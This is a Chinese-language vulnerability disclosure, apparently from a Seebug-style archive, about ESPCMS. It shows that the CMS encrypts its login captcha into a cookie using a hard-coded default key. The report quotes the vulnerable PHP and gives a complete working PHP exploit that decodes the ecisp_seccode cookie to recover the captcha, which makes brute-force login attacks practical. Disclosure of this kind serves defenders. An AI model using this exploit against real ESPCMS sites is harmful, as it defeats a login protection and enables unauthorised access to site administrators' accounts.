### 简要描述：
ESPCMS 全版！验证码破解！验证码等于虚设（可导致爆破等）
### 详细说明：
先看验证码生成的方法！只是生成了一个6位随机数 然后加密保存到cookie中！关键点在于加密函数eccode 竟然采用的是默认的key
```
$fun = new functioninc();
$seccode = rand(100000, 999999);
$secode = $fun->accept('secode', 'R');
if ($secode == 'ecisp_seccode') {
$secode_name = 'ecisp_seccode';
} else {
$secode_name = 'ecisp_home_seccode';
}
$fun->setcookie($secode_name, $fun->eccode($seccode . "\t" . time(), 'ENCODE'));
```
文件/public/class_function.php加密函数
```
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}
```
再看验证码验证机制
```
function onlogin_into() {
include_once admin_ROOT . '/public/class_seccode.php';
$linkURL = $_SERVER['HTTP_REFERER'];
...................................
list($new_seccode, $expiration) = explode("\t", $this->fun->eccode($_COOKIE['ecisp_seccode'], 'DECODE'));
$code = new seccode();
$code->seccodeconvert($new_seccode);
...................................
}
```
给你们看下他的seccodeconvert函数 就是将6位随机数变成验证码的
```
function seccodeconvert(&$seccode) {
$s = sprintf('%04s', base_convert($seccode, 10, 20));
$seccodeunits = 'CEFHKLMNOPQRSTUVWXYZ';
$seccode = '';
for ($i = 0; $i < 4; $i++) {
$unit = ord($s{$i});
$seccode.= ( $unit >= 0x30 && $unit <= 0x39) ? $seccodeunits[$unit - 0x30] : $seccodeunits[$unit - 0x57];
}
}
```
那么写个exp破解下？根据验证验证码的代码逻辑得到一下exp
```
<?php
list($new_seccode, $expiration) = explode("\t",eccode('XHZ-d4JlPaRmYm1edquRmYY', 'DECODE')); //XHZ-d4JlPaRmYm1edquRmYY 就是$_COOKIE['ecisp_seccode']就是名为ecisp_seccode的cookie
echo seccodeconvert($new_seccode);
function seccodeconvert(&$seccode) {
$s = sprintf('%04s', base_convert($seccode, 10, 20));
$seccodeunits = 'CEFHKLMNOPQRSTUVWXYZ';
$seccode = '';
for ($i = 0; $i < 4; $i++) {
$unit = ord($s{$i});
$seccode.= ( $unit >= 0x30 && $unit <= 0x39) ? $seccodeunits[$unit - 0x30] : $seccodeunits[$unit - 0x57];
}
return $seccode;
}
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}
?>
```
[<img src="https://images.seebug.org/upload/201409/061038499140c4463ce2fd9e3973533799911b91.png" alt="QQ截图20140906103813.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/061038499140c4463ce2fd9e3973533799911b91.png)
### 漏洞证明：
[<img src="https://images.seebug.org/upload/201409/061038499140c4463ce2fd9e3973533799911b91.png" alt="QQ截图20140906103813.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/061038499140c4463ce2fd9e3973533799911b91.png)
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